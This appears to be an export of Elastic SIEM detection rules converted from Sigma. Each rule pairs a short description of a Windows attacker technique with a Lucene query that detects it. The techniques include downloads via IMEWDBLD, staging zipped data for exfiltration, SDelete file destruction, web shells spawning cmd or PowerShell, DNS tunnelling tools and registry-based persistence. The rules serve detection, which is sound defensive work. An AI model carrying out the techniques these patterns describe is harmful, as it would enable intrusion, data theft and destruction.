{"description":"Use IE registry to hide a scripts Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7223aae1-8cc9-056c-ddfa-7e1acfed7dc0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Use IE Registry for Persistence","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet\\ Settings*) AND (NOT ((winlog.event_data.Details:DWORD*) OR (winlog.event_data.Details:(\"Cookie\\:\" OR \"Visited\\:\" OR \"\$Empty\$\")) OR (winlog.event_data.Details:\"Binary\\ Data\"))))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Use IMEWDBLD.exe (built-in to windows) to download a file Author: frack113. License: ","enabled":false,"false_positives":["Legitimate script"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8d7e392e-9b28-49e1-831d-5949c6281228","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Download a File with IMEWDBLD.exe","query":"(winlog.event_data.Initiated:\"true\" AND process.executable:*\\\\IMEWDBLD.exe)","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Zip A Folder With PowerShell For Staging In Temp","query":"(process.command_line:*Compress\\-Archive\\ * AND process.command_line:*\\ \\-Path\\ * AND process.command_line:*\\ \\-DestinationPath\\ * AND process.command_line:*$env\\:TEMP\\\\*)","meta":{"from":"1m"},"severity":"medium","tags":["T1074"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1074","name":"Data Staged","reference":""}]}],"version":1,"references":[""]}
{"description":"Use of hostname to get information Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7be5fb68-f9ef-476d-8b51-0256ebece19e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Execution of Hostname","query":"process.executable:*\\\\HOSTNAME.EXE","meta":{"from":"1m"},"severity":"low","tags":["T1082"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1082","name":"System Information Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Use of reg to get MachineGuid information Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f292a904-fbf0-70d4-c0ae-afa33794f91d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Query of MachineGUID","query":"(process.executable:*\\\\reg.exe AND process.command_line:*SOFTWARE\\\\Microsoft\\\\Cryptography* AND process.command_line:*\\/v\\ * AND process.command_line:*MachineGuid*)","meta":{"from":"1m"},"severity":"low","tags":["T1082"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1082","name":"System Information Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Use of SDelete to erase a file not the free space Author: frack113. License: ","enabled":false,"false_positives":["System administrator Usage"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"dc4e889e-0630-75da-c5cd-bddd26e0f678","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Sysinternals SDelete Delete File","query":"(winlog.event_data.OriginalFileName:\"sdelete.exe\" AND (NOT (process.command_line:(*\\ \\-h* OR *\\ \\-c* OR *\\ \\-z* OR *\\ \\/?*))))","meta":{"from":"1m"},"severity":"medium","tags":["T1485"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1485","name":"Data Destruction","reference":""}]}],"version":1,"references":[""]}
{"description":"Use of systeminfo to get information Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d1786fcb-a2bc-db91-69fb-0cfb52761972","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious Execution of Systeminfo","query":"process.executable:*\\\\systeminfo.exe","meta":{"from":"1m"},"severity":"low","tags":["T1082"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1082","name":"System Information Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Use of the commandline to shutdown or reboot windows Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f4f2de85-5210-7b21-028b-0e3e824d6d36","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Execution of Shutdown","query":"(process.executable:*\\\\shutdown.exe AND process.command_line:(*\\/r\\ * OR *\\/s\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["T1529"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1529","name":"System Shutdown/Reboot","reference":""}]}],"version":1,"references":[""]}
{"description":"Uses the .NET InstallUtil.exe application in order to execute image without log Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3a741a83-edc8-b870-5035-f59ba3a0ab1b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Execution of InstallUtil Without Log","query":"(process.executable:*\\\\InstallUtil.exe AND process.executable:*Microsoft.NET\\\\Framework* AND process.command_line:*\\/logfile\\=\\ * AND process.command_line:*\\/LogToConsole\\=false*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"utilizes REGSVR32.exe to execute this DLL masquerading as a Image file Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"089fc3d2-71e8-4763-a8a5-c97fbb0a403e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Regsvr32 Execution With Image Extension","query":"(process.executable:*\\\\regsvr32.exe AND process.command_line:*.jpg)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Web servers that spawn shell processes could be the result of a successfully placed web shell or an other attack Author: Thomas Patzke. License: ","enabled":false,"false_positives":["Particular web applications may spawn a shell process legitimately"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8202070f-edeb-4d31-a010-a26c72ac5600","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Shells Spawned by Web Servers","query":"(process.parent.executable:(*\\\\w3wp.exe OR *\\\\httpd.exe OR *\\\\nginx.exe OR *\\\\php\\-cgi.exe OR *\\\\tomcat.exe OR *\\\\UMWorkerProcess.exe OR *\\\\ws_TomcatService.exe) AND process.executable:(*\\\\cmd.exe OR *\\\\sh.exe OR *\\\\bash.exe OR *\\\\powershell.exe OR *\\\\bitsadmin.exe))","meta":{"from":"1m"},"severity":"high","tags":["T1190","T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Well-known DNS Exfiltration tools execution Author: Daniil Yugoslavskiy, oscd.community. License: ","enabled":false,"false_positives":["Legitimate usage of iodine or dnscat2 â€” DNS Exfiltration tools (unlikely)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"98a96a5a-64a0-4c42-92c5-489da3866cb0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DNS Exfiltration and Tunneling Tools Execution","query":"(process.executable:*\\\\iodine.exe OR process.executable:*\\\\dnscat2*)","meta":{"from":"1m"},"severity":"high","tags":["T1048","T1071","T1132"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1048","name":"Exfiltration Over Alternative Protocol","reference":""}]}],"version":1,"references":[""]}
{"description":"Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques Author: Daniil Yugoslavskiy, Ian Davis, oscd.community. License: ","enabled":false,"false_positives":["Legitimate OpenVPN TAP insntallation"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"99793437-3e16-439b-be0f-078782cf953d","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Tap Installer Execution","query":"process.executable:*\\\\tapinstall.exe","meta":{"from":"1m"},"severity":"medium","tags":["T1048"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1048","name":"Exfiltration Over Alternative Protocol","reference":""}]}],"version":1,"references":[""]}
{"description":"When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. Author: Timur Zinniatullin, oscd.community. License: ","enabled":false,"false_positives":["Admin activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3d3aa6cd-6272-44d6-8afc-7e88dfef7061","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Change Default File Association","query":"(process.command_line:*cmd* AND process.command_line:*\\/c* AND process.command_line:*assoc*)","meta":{"from":"1m"},"severity":"low","tags":["T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6f4330d4-5bef-b392-3f68-71d0945f10b0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Dynamic C Sharp Compile Artefact","query":"file.path:*.cmdline","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type. Author: Sreeman. License: ","enabled":false,"false_positives":["none"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f548a603-c9f2-4c89-b511-b089f7e94549","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Abusing Windows Telemetry For Persistence","query":"process.command_line:/(?i).*schtasks.*(-|\\/)r.*\\\\\\\\Application Experience\\\\\\\\Microsoft Compatibility Appraiser.*/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1053","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type. Author: Sreeman. License: ","enabled":false,"false_positives":["none"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fd16b8a0-b385-6789-48a6-1a7383413cdb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Abusing Windows Telemetry For Persistence","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\TelemetryController\\\\* AND winlog.event_data.Details:(*.sh OR *.exe OR *.dll OR *.bin OR *.bat OR *.cmd OR *.js OR *.ps OR *.vb OR *.jar OR *.hta OR *.msi OR *.vbs))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1053","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1053","name":"Scheduled Task/Job","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces). Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe Author: Agro (@agro_sev) oscd.community. License: ","enabled":false,"false_positives":["It's not an uncommon to use te.exe directly to execute legal TAEF tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"634b00d5-ccc3-4a06-ae3b-0ec8444dd51b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Malicious Windows Script Components File Execution by TAEF Detection","query":"(process.executable:*\\\\te.exe OR process.parent.executable:*\\\\te.exe OR winlog.event_data.OriginalFileName:\"\\\\te.exe\")","meta":{"from":"1m"},"severity":"low","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file. Author: frack113. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"90dcf730-1b71-4ae7-9ffc-6fcf62bd0132","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious ZipExec Execution","query":"(process.command_line:*.zip* AND ((process.command_line:*\\/generic\\:Microsoft_Windows_Shell_ZipFolder\\:filename\\=* AND process.command_line:*\\/pass\\:* AND process.command_line:*\\/user\\:*) OR (process.command_line:*\\/delete* AND process.command_line:*Microsoft_Windows_Shell_ZipFolder\\:filename\\=*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1202","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1202","name":"Indirect Command Execution","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}

Sigma Detection Rules